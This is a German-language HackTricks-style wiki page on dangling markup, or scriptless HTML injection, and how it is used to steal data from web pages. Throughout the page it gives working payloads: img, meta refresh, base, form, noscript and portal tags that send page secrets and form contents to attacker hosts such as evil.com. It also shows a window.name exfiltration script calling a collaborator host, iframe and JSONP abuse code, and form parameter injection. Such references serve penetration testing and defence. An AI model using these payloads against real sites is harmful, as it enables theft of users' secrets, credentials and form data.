# Dangling Markup - HTML scriptless injection

{{#include ../../banners/hacktricks-training.md}}

## Resume

Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine **HTML-Injection gefunden wird**. Dies ist sehr nützlich, wenn Sie **keinen Weg finden, um eine** [**XSS** ](../xss-cross-site-scripting/index.html) zu exploiten, aber Sie **einige HTML-Tags injizieren können**.\
Es ist auch nützlich, wenn ein **Geheimnis im Klartext** im HTML gespeichert ist und Sie es **exfiltrieren** möchten, oder wenn Sie eine Skriptausführung irreführen möchten.

Mehrere hier kommentierte Techniken können verwendet werden, um einige [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, HTTP-Meta-Tags, Formulare, Basis...).

## Main Applications

### Stealing clear text secrets

Wenn Sie `<img src='http://evil.com/log.cgi?` injizieren, wird der Opferbrowser Ihnen den gesamten Code zwischen dem injizierten `img`-Tag und dem nächsten Anführungszeichen im Code senden, wenn die Seite geladen wird. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, werden Sie es stehlen (Sie können dasselbe mit einem doppelten Anführungszeichen tun, schauen Sie sich an, was interessanter zu verwenden sein könnte).

Wenn das `img`-Tag verboten ist (zum Beispiel aufgrund von CSP), können Sie auch `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` verwenden.
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Beachten Sie, dass **Chrome HTTP-URLs** mit "<" oder "\n" blockiert, sodass Sie andere Protokollschemata wie "ftp" ausprobieren können.

Sie können auch CSS `@import` missbrauchen (sendet den gesamten Code, bis es ein ";" findet).
```html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;
```
Du könntest auch **`<table`** verwenden:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Sie könnten auch ein `<base`-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert eine Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):
```html
<base target='        <--- Injected
steal me'<b>test</b>
```
### Formulare stehlen
```html
<base href="http://evil.com/" />
```
Dann werden die Formulare, die Daten an den Pfad senden (wie `<form action='update_profile.php'>`), die Daten an die bösartige Domain senden.

### Stealing forms 2

Setzen Sie einen Formular-Header: `<form action='http://evil.com/log_steal'>`, dies wird den nächsten Formular-Header überschreiben und alle Daten aus dem Formular werden an den Angreifer gesendet.

### Stealing forms 3

Der Button kann die URL ändern, an die die Informationen des Formulars mit dem Attribut "formaction" gesendet werden.
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
```
Ein Angreifer kann dies verwenden, um Informationen zu stehlen.

Finden Sie ein [**Beispiel für diesen Angriff in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).

### Stehlen von Klartext-Geheimnissen 2

Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:
```html
<input type='hidden' name='review_body' value="
```
und dieses Eingabefeld wird den gesamten Inhalt zwischen seinen doppelten Anführungszeichen und dem nächsten doppelten Anführungszeichen im HTML enthalten. Dieser Angriff kombiniert "_**Stealing clear text secrets**_" mit "_**Stealing forms2**_".

Sie können dasselbe tun, indem Sie ein Formular und ein `<option>`-Tag injizieren. Alle Daten bis ein geschlossenes `</option>` gefunden wird, werden gesendet:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Formparameter-Injektion

Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass eine unerwartete Aktion ausgeführt wird:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines

<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### Stehlen von Klartextgeheimnissen über noscript

`<noscript></noscript>` ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome unter [chrome://settings/content/javascript](chrome://settings/content/javascript) aktivieren/deaktivieren).

Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies einzufügen:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Umgehen von CSP mit Benutzerinteraktion

Aus dieser [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **strengsten CSP-Umgebungen** Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Beachten Sie, dass Sie die **Opfer** bitten werden, auf einen **Link** zu **klicken**, der sie zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut innerhalb des **`base`**-Tags **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher, da Sie die **Seite** kontrollieren, auf die das Opfer durch Klicken auf den Link zugreift, können Sie auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Irreführender Skript-Workflow 1 - HTML-Namespace-Angriff

Fügen Sie ein neues Tag mit einer ID innerhalb des HTML ein, das das nächste überschreibt und mit einem Wert, der den Fluss eines Skripts beeinflusst. In diesem Beispiel wählen Sie aus, mit wem Informationen geteilt werden:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />

... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Irreführender Skript-Workflow 2 - Skript-Namensraum-Angriff

Erstellen Sie Variablen innerhalb des JavaScript-Namensraums, indem Sie HTML-Tags einfügen. Dann wird diese Variable den Ablauf der Anwendung beeinflussen:
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Missbrauch von JSONP

Wenn Sie eine JSONP-Schnittstelle finden, könnten Sie in der Lage sein, eine beliebige Funktion mit beliebigen Daten aufzurufen:
```html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })
```
Oder Sie können sogar versuchen, etwas JavaScript auszuführen:
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Iframe-Missbrauch

Ein Kinddokument hat die Fähigkeit, die `location`-Eigenschaft seines Elternteils zu sehen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein **iframe**, das den Client auf eine beliebige Seite umleiten kann:
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
```
Dies kann mit etwas wie `sandbox=' allow-scripts allow-top-navigation'` gemildert werden.

Ein iframe kann auch missbraucht werden, um sensible Informationen von einer anderen Seite **unter Verwendung des iframe name Attributs** zu leaken. Dies liegt daran, dass Sie ein iframe erstellen können, das sich selbst iframe, indem es die HTML-Injection ausnutzt, die **sensible Informationen im iframe name Attribut erscheinen lässt** und dann diesen Namen vom ursprünglichen iframe aus zugreifen und leaken kann.
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>

<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
Für weitere Informationen siehe [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)

### \<meta-Missbrauch

Sie könnten **`meta http-equiv`** verwenden, um **mehrere Aktionen** durchzuführen, wie das Setzen eines Cookies: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` oder eine Weiterleitung durchzuführen (in 5s in diesem Fall): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`

Dies kann mit einer **CSP** bezüglich **http-equiv** ( `Content-Security-Policy: default-src 'self';`, oder `Content-Security-Policy: http-equiv 'self';`)

### Neuer \<portal HTML-Tag

Sie können eine sehr **interessante Forschung** zu ausnutzbaren Schwachstellen des \<portal-Tags [hier](https://research.securitum.com/security-analysis-of-portal-element/) finden.\
Zum Zeitpunkt des Schreibens müssen Sie den Portal-Tag in Chrome unter `chrome://flags/#enable-portals` aktivieren, sonst funktioniert es nicht.
```html
<portal src='https://attacker-server?
```
### HTML Leaks

Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)

## SS-Leaks

Dies ist ein **Mix** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) in eine Seite der **gleichen Herkunft** derjenigen, die wir angreifen werden, zu **injizieren**. Andererseits werden wir die Seite, in die wir HTML injizieren können, nicht direkt **angreifen**, sondern **eine andere Seite**.

{{#ref}}
ss-leaks.md
{{#endref}}

## XS-Search/XS-Leaks

XS-Search sind darauf ausgerichtet, **cross-origin Informationen zu exfiltrieren**, indem sie **Side-Channel-Angriffe** ausnutzen. Daher ist es eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbeziehung von HTML-Tags (mit und ohne JS-Ausführung), wie [**CSS Injection**](../xs-search/index.html#css-injection) oder [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**

{{#ref}}
../xs-search/
{{#endref}}

## Brute-Force Detection List

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}

## References

- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)

{{#include ../../banners/hacktricks-training.md}}